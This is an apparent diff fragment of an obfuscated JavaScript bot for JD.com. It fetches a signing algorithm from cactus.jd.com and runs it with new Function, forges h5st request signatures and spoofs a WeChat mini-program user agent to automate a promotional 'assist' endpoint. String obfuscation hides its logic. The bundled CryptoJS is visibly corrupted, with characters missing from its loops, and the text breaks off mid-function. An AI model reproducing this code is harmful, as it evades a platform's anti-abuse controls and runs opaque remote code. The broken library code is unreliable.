'JGvDrC0swqhpenTDu8OswrLDik7ClhxQw45/w7/DjWV3', 'wqQJLcKUW8KoQ8KcYzNVFcOVFFdKw5DClMORw5fDnMOuwq0=', 'w7rCsMOnMng=', 'woMSKHvDnhzClXvDmhLChsKXwoxYP1jDhE/DgmjCjMOZw7Q=', 'w5ocfH/DnB/CtXDClgrCnsKDwowSOULDikHChmzDh8KOwrPCl8OvfcKHeMKwJg==', 'w7Qgw44=', 'CcKKQkQ6', 'E1rDncKNwoc=', 'wqrCjR/ClQ==', 'wo1ZwqjCszE=', 'wqsYN8KvTcOr', 'w5BUIsK5ScKFw6Y=', 'w4ZzecOd', 'wrTClMKtwrJR', 'wo9mwrgqaC4=', 'wpwgLyzDr8O8', 'w6k7w4tLw50r', 'wq0RKcKMScOwCcOH', 'wqsLc8K8QWHDjhQQwqJvwpNFwpfCpMK3BcO2w7h8UnxXVGoOI0p3wrZAN8K5wpc3IsObwp3DoWLCuk1owotHwrocw6XDmS8UXg==', 'wrLDqUo=', 'LWrCuws=', 'w7fCkwHDk3rCtw3CmA==', 'TFPDggvCrQ==', 'wpPCg8K5wpNdfxfChjLCpg==', 'wr3CusKvwq54', 'C0rDt2XDkg==', 'KFJkKwc=', 'w4JkcH3CvsK7w4BcKsOp', 'OcKiacKyDA==', 'wppFwoHCpjM=', 'EcOBecKiwpUT', 'wqAYN8KDXMO6', 'wrjCiTfDlXA=', 'wpjCnMKTwqIeCQ==', 'wrrClS7DmXrDqQ==', 'f8OnHcO1SQ==', 'dWvDshI=', 'wqXDiQbCkBY=', 'aMKvPw==', 'I0MaK2c=', 'A8OnBMOuOg==', 'wqDDjsO/w45sw6rCksOx', 'DcOIwpXDvBI=', 'w6AncMK4w6p9woLDoQ==', 'OU/DgcKtDA==', 'ZU0ew6/DrxATwqYAwrI=', 'w5DCu8KHw6MQ', 'wrTCjRs=', 'woMIcsOlwoA=', 'bsOYfQ==', 'EcKJW043', 'wqZkwq8Jag==', 'OWbCryUHw70=', 'DcOIwq3DrQ4=', 'wq7CjT/ClcOxQj3Clg==', 'woPDgcKfwrcPFGIJ', 'ZCBEwpbDksK2BMOjUcKE', 'wqvDp2HDlcKQewcv', 'woY6ETrDuMOnwpgM', 'w5bDrMKfw6BwaXxx', 'IMOGasKjH3I=', 'wqJ7R8O7wqA=', 'Km/Dnk3Domw=', 'OsKmRsK+Fw==', 'wrrClinDn3XDqQ==', 'wqkGfsK7RXM=', 'wp3DgcKlwq0=', 'w48fw7Npw5c=', 'IsOZdMKpGg==', 'wpRhw6o=', 'KcOHIMOsPkLCisOpwq7DnkvDqz0=', 'dg0uV1M=', 'en7DuDE5wqzDgsOKWMK5VjPCscOUw6Q=', 'wo7Dl8K1wrowMGgKJ8K6wpHCtQvCnXxUJg==', 'w7xadMOvHA==', 'wqTCvSs=', 'C8KpVEUR', 'IElGPRk=', 'LcO9wrTDojE=', 'w4NOwrg=', 'JMKaXMK5Hw==', 'w7Z1SMO9Jw==', 'Z8OSYDU=', 'QsKpUVDCkwQ=', 'w6fClTHDk1zCpxPCmg==', 'w6JVTsOdPg==', 'wqMTSMK+aA==', 'EsOHbsKgwrg=', 'FcKPSA==', 'w7NIXMOzIA==', 'MEnCrB7Cug==', 'LHvDisKJwqg=', 'wrIceMK1Zg==', 'WUbDvATCkw==', 'w5nCocOdDVo=', 'w70qw5dpw5Y1', 'L8OuZcOTwoo=', 'w5NwTcOGPm4/Lg==', 'w7nCvMOFCGLDiXLDvA==', 'w5DCiBvDl1rCoTfCrg==', 'worDkcK6w54BwqrDp8Oh', 'OsOVwr/DuBQAw4HCtQ==', 'DMKBa1Qsw5TCkyk=', 'w6DDokhvOMOGbMK4', 'F8OPRMKywogXeMOh', 'G8KBVkM/w4k=', 'wr4GQ8KsVm7Dhxs=', 'UsK0aCbDow==', 'OGgcJVTDtcOIGg==', 'w4RwcMORLXM=', 'wqQGZw==', 'EHPCpjnCpA==', 'bXrDvggvwp3DhMOW', 'w70qw41mw5I4TQ==', 'wpDDi8K4wosSCH4d', 'woTDmcOyw7Z3w7DCqsOR', 'wp9VKlPDhQHCiWDDkUM=', 'wr7CnDPDr3HDvlgcwoXDow==', 'w70qw41mw5I1', 'wqcxfMOZwro=', 'AsO6QcKjEQ==', 'w7PDqG9WI8ODbsK2XGDCiV/DtsKSwq4=', 'eHrDuikhwpDDlQ==', 'ehAgMsKzw5Q=', 'JMOMcMKGC2pYQXEaew==', 'FMKLVkcqw5U=', 'wqoSK8KhScOxBA==', 'L2ghMkfDqA==', 'OGI8JQ==', 'J3DDg8KzGQ==', 'dsOIZj9ZRg==', 'OMOuYMOVwoVi', 'wrXCocK6wqxD', 'woM6ER/Dmw==', 'WsKTIsO+w4xJIcK0csKXAGPDksOecMKG', 'AUDDqcK2wokywpR/HsOfw6nDgCAQL04=', 'FnrDvMKaZwvDssKSwp4Kw43DijrCqCAAAg==', 'w4rDt8K4w6RxOj05aEXDi8OyJsKUdcOlwp3CuUHCi8Oew5fCocOm', 'MwlCwr/Cr0xKw79xw68=', 'AMKNUGUu', 'jsjiami.rAcoym.vk6qlwTCTYSrWdy==']; +if (function(_0x4aa0ba, _0x6651ee, _0x213183) { + function _0x3f40da(_0x66cbe6, _0xa8d18c, _0x11b699, _0x11a38d, _0x57b1dc, _0x18b84b) { + _0xa8d18c = _0xa8d18c >> 0x8, _0x57b1dc = 'po'; + var _0x27fb3c = 'shift', + _0x495bbd = 'push', + _0x18b84b = '‮'; + if (_0xa8d18c < _0x66cbe6) { + while (--_0x66cbe6) { + _0x11a38d = _0x4aa0ba[_0x27fb3c](); + if (_0xa8d18c === _0x66cbe6 && _0x18b84b === '‮' && _0x18b84b['length'] === 0x1) { + _0xa8d18c = _0x11a38d, _0x11b699 = _0x4aa0ba[_0x57b1dc + 'p'](); + } else if (_0xa8d18c && _0x11b699['replace'](/[rAykqlwTCTYSrWdy=]/g, '') === _0xa8d18c) { + _0x4aa0ba[_0x495bbd](_0x11a38d); + } + } + _0x4aa0ba[_0x495bbd](_0x4aa0ba[_0x27fb3c]()); + } + return 0xced86; + }; + return _0x3f40da(++_0x6651ee, _0x213183) >> _0x6651ee ^ _0x213183; + }(_0x3e5c, 0x1bd, 0x1bd00), _0x3e5c) { + _0xode_ = _0x3e5c['length'] ^ 0x1bd; +}; + +function _0x5722(_0x583609, _0xdaa79d) { + _0x583609 = ~~'0x' ['concat'](_0x583609['slice'](0x1)); + var _0x4295ed = _0x3e5c[_0x583609]; + if (_0x5722['fwnILs'] === undefined) { + (function() { + var _0x2e1e8e = typeof window !== 'undefined' ? window : typeof process === 'object' && typeof require === 'function' && typeof global === 'object' ? global : this; + var _0x46d1da = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; + _0x2e1e8e['atob'] || (_0x2e1e8e['atob'] = function(_0x12157a) { + var _0x357a6d = String(_0x12157a)['replace'](/=+$/, ''); + for (var _0x17f039 = 0x0, _0x7aba02, _0x38a27d, _0x588938 = 0x0, _0x10831c = ''; _0x38a27d = _0x357a6d['charAt'](_0x588938++); ~_0x38a27d && (_0x7aba02 = _0x17f039 % 0x4 ? _0x7aba02 * 0x40 + _0x38a27d : _0x38a27d, _0x17f039++ % 0x4) ? _0x10831c += String['fromCharCode'](0xff & _0x7aba02 >> (-0x2 * _0x17f039 & 0x6)) : 0x0) { + _0x38a27d = _0x46d1da['indexOf'](_0x38a27d); + } + return _0x10831c; + }); + }()); + + function _0x38066e(_0x5f582d, _0xdaa79d) { + var _0x3f541e = [], + _0x5609f9 = 0x0, + _0x30716b, _0x28413e = '', + _0x180c10 = ''; + _0x5f582d = atob(_0x5f582d); + for (var _0x360e57 = 0x0, _0x475e55 = _0x5f582d['length']; _0x360e57 < _0x475e55; _0x360e57++) { + _0x180c10 += '%' + ('00' + _0x5f582d['charCodeAt'](_0x360e57)['toString'](0x10))['slice'](-0x2); + } + _0x5f582d = decodeURIComponent(_0x180c10); + for (var _0x22963d = 0x0; _0x22963d < 0x100; _0x22963d++) { + _0x3f541e[_0x22963d] = _0x22963d; + } + for (_0x22963d = 0x0; _0x22963d < 0x100; _0x22963d++) { + _0x5609f9 = (_0x5609f9 + _0x3f541e[_0x22963d] + _0xdaa79d['charCodeAt'](_0x22963d % _0xdaa79d['length'])) % 0x100; + _0x30716b = _0x3f541e[_0x22963d]; + _0x3f541e[_0x22963d] = _0x3f541e[_0x5609f9]; + _0x3f541e[_0x5609f9] = _0x30716b; + } + _0x22963d = 0x0; + _0x5609f9 = 0x0; + for (var _0x330cd5 = 0x0; _0x330cd5 < _0x5f582d['length']; _0x330cd5++) { + _0x22963d = (_0x22963d + 0x1) % 0x100; + _0x5609f9 = (_0x5609f9 + _0x3f541e[_0x22963d]) % 0x100; + _0x30716b = _0x3f541e[_0x22963d]; + _0x3f541e[_0x22963d] = _0x3f541e[_0x5609f9]; + _0x3f541e[_0x5609f9] = _0x30716b; + _0x28413e += String['fromCharCode'](_0x5f582d['charCodeAt'](_0x330cd5) ^ _0x3f541e[(_0x3f541e[_0x22963d] + _0x3f541e[_0x5609f9]) % 0x100]); + } + return _0x28413e; + } + _0x5722['OGaFOa'] = _0x38066e; + _0x5722['WQPEqO'] = {}; + _0x5722['fwnILs'] = !![]; + } + var _0x73635e = _0x5722['WQPEqO'][_0x583609]; + if (_0x73635e === undefined) { + if (_0x5722['QjgVLm'] === undefined) { + _0x5722['QjgVLm'] = !![]; + } + _0x4295ed = _0x5722['OGaFOa'](_0x4295ed, _0xdaa79d); + _0x5722['WQPEqO'][_0x583609] = _0x4295ed; + } else { + _0x4295ed = _0x73635e; + } + return _0x4295ed; +}; +async function requestAlgo() { + var _0x236f59 = { + 'fqadZ': function(_0x5b76a3, _0x374415) { + return _0x5b76a3 !== _0x374415; + }, + 'DbgUc': _0x5722('‮0', 'tYT]'), + 'FkuqW': function(_0x4d5faf) { + return _0x4d5faf(); + }, + 'sjDWg': _0x5722('‫1', '71I('), + 'XFTCM': function(_0x55e4f6, _0x21dae2) { + return _0x55e4f6 | _0x21dae2; + }, + 'HAWAS': function(_0x5083b1, _0x20e5a0) { + return _0x5083b1(_0x20e5a0); + }, + 'xchEp': function(_0x35126b, _0x23382b) { + return _0x35126b == _0x23382b; + }, + 'YSvzm': function(_0x4f32e5, _0x3b4c9e) { + return _0x4f32e5 < _0x3b4c9e; + }, + 'ZFgha': function(_0xe2cfaa, _0x567812) { + return _0xe2cfaa + _0x567812; + }, + 'WtFpg': function(_0x45f018, _0x12d70b) { + return _0x45f018 - _0x12d70b; + }, + 'quvkT': function(_0x421043, _0xe67bb3) { + return _0x421043 + _0xe67bb3; + }, + 'ENWZQ': _0x5722('‮2', 'VepR'), + 'uMQCR': _0x5722('‮3', 'IzVh'), + 'QVGNU': _0x5722('‮4', 'cBwY'), + 'wcqNh': _0x5722('‫5', 'n$S*') + }; + var _0x4c279a = '', + _0x3cf7b2 = _0x5722('‫6', 'lnMx'), + _0x32e98d = _0x3cf7b2, + _0x54cb36 = _0x236f59['XFTCM'](Math['random']() * 0xa, 0x0); + do { + ss = _0x236f59['HAWAS'](getRandomIDPro, { + 'size': 0x1, + 'customDict': _0x3cf7b2 + }) + ''; + if (_0x236f59[_0x5722('‫7', '9I9J')](_0x4c279a[_0x5722('‫8', '9I9J')](ss), -0x1)) _0x4c279a += ss; + } while (_0x236f59[_0x5722('‫9', 'Y^Z7')](_0x4c279a[_0x5722('‮a', 'RRac')], 0x3)); + for (let _0x48780e of _0x4c279a[_0x5722('‮b', 'yqlT')]()) _0x32e98d = _0x32e98d[_0x5722('‫c', 'WfFI')](_0x48780e, ''); + $['fp'] = _0x236f59[_0x5722('‮d', '#FOB')](_0x236f59[_0x5722('‮e', 'g$*r')](getRandomIDPro({ + 'size': _0x54cb36, + 'customDict': _0x32e98d + }), ''), _0x4c279a) + _0x236f59['HAWAS'](getRandomIDPro, { + 'size': _0x236f59[_0x5722('‮f', 'TZxy')](_0x236f59['WtFpg'](0xe, _0x236f59['quvkT'](_0x54cb36, 0x3)), 0x1), + 'customDict': _0x32e98d + }) + _0x54cb36 + ''; + $['fp'] = _0x236f59[_0x5722('‮10', 'I85n')]; + let _0x5b175b = { + 'url': _0x5722('‫11', ')ALl'), + 'headers': { + 'Accept': 'application/json', + 'Content-Type': _0x236f59[_0x5722('‫12', 'zzT%')], + 'Accept-Encoding': _0x236f59['QVGNU'], + 'Accept-Language': _0x5722('‫13', '#FOB'), + 'host': 'cactus.jd.com', + 'Referer':'https://cactus.jd.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat', + }, + + 'body':`{"version":"3.0","fp":${getRandomIDPro()},"appId":"dde2b","timestamp":${Date.now()},"platform":"applet","expandParams":""}`, + }; + return new Promise(async _0x53c7f3 => { + + if (_0x5722('‫19', '9I9J') === _0x236f59[_0x5722('‮1a', 'IzVh')]) { + t = new Date(time); + } else { + $[_0x5722('‮1b', 'b17P')](_0x5b175b, (_0x2c2c84, _0x1b3374, _0x41f319) => { + try { + const { + ret, + msg, + data: { + result + } = {} + } = JSON['parse'](_0x41f319); + $[_0x5722('‮1c', 'xBk^')] = result['tk']; + $[_0x5722('‮1d', 'fP)@')] = new Function(_0x5722('‫1e', 'WfFI') + result[_0x5722('‫1f', 'O*W[')])(); + } catch (_0x23f40a) { + if (_0x236f59['fqadZ'](_0x236f59['DbgUc'], _0x236f59[_0x5722('‮20', 'tYT]')])) { + $['logErr'](_0x23f40a, _0x1b3374); + } else { + $[_0x5722('‮21', ')UFK')](_0x23f40a, _0x1b3374); + } + } finally { + _0x236f59['FkuqW'](_0x53c7f3); + } + }); + } + }); +} + +function getRandomIDPro() { + var _0x5ce014 = { + 'BCJdQ': function(_0x3c92e4, _0x509a4e) { + return _0x3c92e4 === _0x509a4e; + }, + 'oyejR': function(_0x365c16, _0x2b1dcd) { + return _0x365c16 === _0x2b1dcd; + }, + 'SWYwd': _0x5722('‫22', '71I('), + 'rWvqc': function(_0x16559d, _0x54b890) { + return _0x16559d == _0x54b890; + }, + 'MLeIJ': _0x5722('‫23', 'zwqr'), + 'CQvOV': _0x5722('‫24', 'fP)@'), + 'BJGKQ': _0x5722('‮25', 'TMW@'), + 'oqzRd': _0x5722('‮26', 'sywN'), + 'wkDiu': function(_0x4e5971, _0x575151) { + return _0x4e5971 | _0x575151; + }, + 'csBpl': function(_0x27f35e, _0x13d632) { + return _0x27f35e * _0x13d632; + } + }; + var _0x5f0a7a, _0x484f6f, _0x2b28ff = _0x5ce014['BCJdQ'](void 0x0, _0x58ef1d = (_0x484f6f = 0x0 < arguments['length'] && void 0x0 !== arguments[0x0] ? arguments[0x0] : {})[_0x5722('‫27', '#FOB')]) ? 0xa : _0x58ef1d, + _0x58ef1d = _0x5ce014['oyejR'](void 0x0, _0x58ef1d = _0x484f6f[_0x5722('‮28', 'SyL7')]) ? _0x5ce014[_0x5722('‮29', 'exNn')] : _0x58ef1d, + _0x1f2fbe = ''; + if ((_0x484f6f = _0x484f6f[_0x5722('‫2a', 'tYT]')]) && _0x5ce014['rWvqc'](_0x5ce014[_0x5722('‫2b', 'tYT]')], typeof _0x484f6f)) _0x5f0a7a = _0x484f6f; + else switch (_0x58ef1d) { + case _0x5ce014['CQvOV']: + _0x5f0a7a = _0x5ce014[_0x5722('‫2c', '5nJB')]; + break; + case _0x5ce014[_0x5722('‮2d', '!R@H')]: + _0x5f0a7a = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; + break; + case _0x5ce014['SWYwd']: + default: + _0x5f0a7a = _0x5722('‫2e', '71I('); + } + for (; _0x2b28ff--;) _0x1f2fbe += _0x5f0a7a[_0x5ce014[_0x5722('‫2f', 'w3T]')](_0x5ce014[_0x5722('‫30', 'xBk^')](Math[_0x5722('‮31', 'VepR')](), _0x5f0a7a[_0x5722('‫32', 'fP)@')]), 0x0)]; + return _0x1f2fbe; +} + +function h5stSign(_0x16a27f) { + var _0x4b101c = { + 'BUaSH': function(_0x1addd5, _0x56d688) { + return _0x1addd5 + _0x56d688; + }, + 'igcni': 'value', + 'oDUzA': _0x5722('‫33', 'RRac'), + 'IflDx': _0x5722('‫34', '7Rz$'), + 'ILMgj': 'body', + 'dziYL': _0x5722('‮35', 'RRac'), + 'HOTGG': 'clientVersion', + 'Erlzo': _0x5722('‮36', 'w3T]'), + 'UAmWZ': 'party_rt_assist', + 'Empfp': _0x5722('‫37', 'exNn'), + 'KePDb': 'yyyyMMddhhmmssSSS', + 'uXyRi': _0x5722('‫38', 'SyL7'), + 'oVeqz': _0x5722('‫39', 'Y6zP'), + 'UPJKd': function(_0x4f11c4, _0x1e6c2d) { + return _0x4f11c4(_0x1e6c2d); + } + }; + + let _0x137258 = [{ + 'key': _0x4b101c[_0x5722('‫3a', '!ydp')], + 'value': 'activities_platform' + }, { + 'key': _0x4b101c[_0x5722('‮3b', 'Tg(&')], + 'value': $[_0x5722('‫3c', 'wrSy')]['SHA256']($[_0x5722('‮3d', 'lIgg')](_0x16a27f, _0x16a27f))[_0x5722('‮3e', 'TZxy')]() + }, { + 'key': _0x4b101c['dziYL'], + 'value': 'applet' + }, { + 'key': _0x4b101c[_0x5722('‮3f', 'cBwY')], + 'value': _0x4b101c['Erlzo'] + }, { + 'key': _0x5722('‫40', 'lnMx'), + 'value': 'vvipclub_distributeBean_startAssist' + }, { + 'key': 't', + 'value': Date[_0x5722('‫42', 'b17P')]() + }]; + let _0x2d7791 = _0x137258['map'](function(_0x2d64bd) { + return _0x4b101c[_0x5722('‮43', 'hoOY')](_0x2d64bd[_0x5722('‮44', 'rAKg')], ':') + _0x2d64bd[_0x4b101c[_0x5722('‮45', '9I9J')]]; + })[_0x4b101c[_0x5722('‮46', ')UFK')]]('&'); + let _0x4fa26b = Date['now'](); + let _0x3ed202 = ''; + let _0x2cecaf = format(_0x4b101c['KePDb'], _0x4fa26b); + _0x3ed202 = $[_0x5722('‫47', '#FOB')]($[_0x5722('‮48', 'lIgg')], $['fp']['toString'](), _0x2cecaf['toString'](), _0x4b101c['uXyRi'][_0x5722('‮49', 'b17P')](), $['CryptoJS'])[_0x5722('‮4a', '7Rz$')](); + const _0x1c4805 = $['CryptoJS'][_0x5722('‫4b', '%PEG')](_0x2d7791, _0x3ed202[_0x5722('‫4c', 'sywN')]())[_0x5722('‫4d', '71I(')](); + let _0x55c9fe = ['' ['concat'](_0x2cecaf['toString']()), '' ['concat']($['fp'][_0x5722('‫4e', 'n$S*')]()), '' [_0x5722('‫4f', 'zzT%')](_0x5722('‫50', 'TZxy')[_0x5722('‮4a', '7Rz$')]()), '' [_0x5722('‫51', '5nJB')]($[_0x5722('‫52', 'w3T]')]), '' [_0x5722('‫53', 'RRac')](_0x1c4805), _0x4b101c['oVeqz'], '' [_0x5722('‫54', 'TMW@')](_0x4fa26b)][_0x5722('‫55', '7Rz$')](';') + + return _0x4b101c[_0x5722('‫56', 'zwqr')](encodeURIComponent, _0x55c9fe); +} + +function format(_0x3b3946, _0x57ab39) { + var _0x2b4c38 = { + 'jSqbf': 'value', + 'FMiFO': _0x5722('‮57', 'zzT%'), + 'QjVOk': 'o2_act', + 'EJPor': 'client', + 'izXfL': _0x5722('‫58', ')UFK'), + 'WJuOB': _0x5722('‫59', 'Tg(&'), + 'qgyfB': _0x5722('‮5a', '!R@H'), + 'pzCVZ': _0x5722('‮5b', '3L1^'), + 'xuhmB': 'join', + 'FBgxZ': function(_0x277431, _0x210f7a, _0x2e532b) { + return _0x277431(_0x210f7a, _0x2e532b); + }, + 'TrKqJ': _0x5722('‫5c', '7Rz$'), + 'CUxDE': _0x5722('‮5d', 'TMW@'), + 'HypbS': '3.1', + 'jwcTE': function(_0x6d2876, _0x5b3211) { + return _0x6d2876(_0x5b3211); + }, + 'VpVYR': _0x5722('‮5e', 'G^Kg'), + 'gjXDz': 'yyyy-MM-dd', + 'TZrjQ': _0x5722('‮5f', '9I9J'), + 'tmHfr': function(_0x425847, _0x553802) { + return _0x425847 + _0x553802; + }, + 'ASEco': function(_0x7279d2, _0xec4d8) { + return _0x7279d2 / _0xec4d8; + } + }; + if (!_0x3b3946) _0x3b3946 = _0x2b4c38[_0x5722('‫60', '!R@H')]; + var _0x119460; + if (!_0x57ab39) { + if (_0x2b4c38['TZrjQ'] !== _0x2b4c38[_0x5722('‮61', 'lIgg')]) { + var _0x5c0b26 = { + 'TWBAl': function(_0x4213a0, _0x3e02d4) { + return _0x4213a0 + _0x3e02d4; + }, + 'LKSSH': _0x5722('‮62', '7JdI'), + 'hrRqG': _0x2b4c38[_0x5722('‫63', 'w3T]')] + }; + let _0x4c69ef = [{ + 'key': _0x2b4c38['FMiFO'], + 'value': _0x2b4c38[_0x5722('‫64', 'O*W[')] + }, { + 'key': _0x5722('‮65', 'rAKg'), + 'value': $['CryptoJS'][_0x5722('‫66', 'I85n')]($['toStr'](body, body))[_0x5722('‮67', 'SyL7')]() + }, { + 'key': _0x2b4c38[_0x5722('‮68', 'O*W[')], + 'value': _0x2b4c38[_0x5722('‮69', 'TMW@')] + }, { + 'key': _0x2b4c38['WJuOB'], + 'value': _0x2b4c38[_0x5722('‮6a', 'VepR')] + }, { + 'key': 'functionId', + 'value': _0x2b4c38['pzCVZ'] + }, { + 'key': 't', + 'value': Date['now']() + }]; + let _0xe6d7be = _0x4c69ef[_0x5722('‫6b', '9I9J')](function(_0x1a232b) { + return _0x5c0b26[_0x5722('‮6c', 'O*W[')](_0x5c0b26[_0x5722('‮6d', 'g9zi')](_0x1a232b[_0x5c0b26[_0x5722('‮6e', 'IzVh')]], ':'), _0x1a232b[_0x5c0b26['hrRqG']]); + })[_0x2b4c38[_0x5722('‫6f', 'TMW@')]]('&'); + let _0x8d4b31 = Date['now'](); + let _0x30adc7 = ''; + let _0x4cc82c = _0x2b4c38[_0x5722('‮70', 'exNn')](format, _0x2b4c38[_0x5722('‮71', 'jFAu')], _0x8d4b31); + _0x30adc7 = $[_0x5722('‫72', 'zwqr')]($[_0x5722('‮73', 'Y6zP')], $['fp']['toString'](), _0x4cc82c[_0x5722('‫74', 'O*W[')](), _0x2b4c38['CUxDE'][_0x5722('‫75', 'jFAu')](), $[_0x5722('‮76', 'SyL7')])[_0x5722('‮77', 'WcWE')](); + const _0x3bef71 = $[_0x5722('‫78', 'lIgg')]['HmacSHA256'](_0xe6d7be, _0x30adc7[_0x5722('‮79', '9I9J')]())[_0x5722('‮7a', 'G^Kg')](); + let _0x30ebad = ['' ['concat'](_0x4cc82c[_0x5722('‫7b', 'VepR')]()), '' [_0x5722('‫7c', '9I9J')]($['fp'][_0x5722('‮7d', 'TMW@')]()), '' ['concat'](_0x2b4c38[_0x5722('‮7e', 'I85n')][_0x5722('‮7f', '!ydp')]()), '' ['concat']($['token']), '' ['concat'](_0x3bef71), _0x2b4c38['HypbS'], '' [_0x5722('‮80', 'O*W[')](_0x8d4b31)]['join'](';'); + return _0x2b4c38['jwcTE'](encodeURIComponent, _0x30ebad); + } else { + _0x119460 = Date[_0x5722('‫81', 'TMW@')](); + } + } else { + _0x119460 = new Date(_0x57ab39); + } + var _0xd7a8f2, _0x514fe8 = new Date(_0x119460), + _0x117011 = _0x3b3946, + _0x589edc = { + 'M+': _0x2b4c38[_0x5722('‫82', 'g9zi')](_0x514fe8[_0x5722('‫83', '3L1^')](), 0x1), + 'd+': _0x514fe8['getDate'](), + 'D+': _0x514fe8[_0x5722('‮84', 'zwqr')](), + 'h+': _0x514fe8[_0x5722('‫85', '7Rz$')](), + 'H+': _0x514fe8[_0x5722('‫86', 'wrSy')](), + 'm+': _0x514fe8[_0x5722('‮87', 'yqlT')](), + 's+': _0x514fe8[_0x5722('‮88', 'RRac')](), + 'w+': _0x514fe8[_0x5722('‮89', 'zwqr')](), + 'q+': Math[_0x5722('‫8a', 'hoOY')](_0x2b4c38[_0x5722('‮8b', 'zzT%')](_0x514fe8['getMonth']() + 0x3, 0x3)), + 'S+': _0x514fe8[_0x5722('‮8c', 'G^Kg')]() + }; + /(y+)/i ['test'](_0x117011) && (_0x117011 = _0x117011[_0x5722('‮8d', '3L1^')](RegExp['$1'], '' [_0x5722('‮8e', 'qXjd')](_0x514fe8[_0x5722('‫8f', 'zzT%')]())['substr'](0x4 - RegExp['$1'][_0x5722('‫90', '9I9J')]))); + Object['keys'](_0x589edc)[_0x5722('‮91', 'fP)@')](_0xd7a8f2 => { + if (new RegExp('(' [_0x5722('‮92', '!ydp')](_0xd7a8f2, ')'))[_0x5722('‫93', '!ydp')](_0x117011)) { + var _0x119460, _0x3b3946 = 'S+' === _0xd7a8f2 ? _0x2b4c38[_0x5722('‮94', 'cBwY')] : '00'; + _0x117011 = _0x117011['replace'](RegExp['$1'], 0x1 == RegExp['$1']['length'] ? _0x589edc[_0xd7a8f2] : '' ['concat'](_0x3b3946)['concat'](_0x589edc[_0xd7a8f2])[_0x5722('‫95', 'rAKg')]('' [_0x5722('‮96', 'Y6zP')](_0x589edc[_0xd7a8f2])['length'])); + } + }); + return _0x117011; +}; +_0xode = 'jsjiami.com.v6'; + + +function CryptoScripts() { + // prettier-ignore + !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var 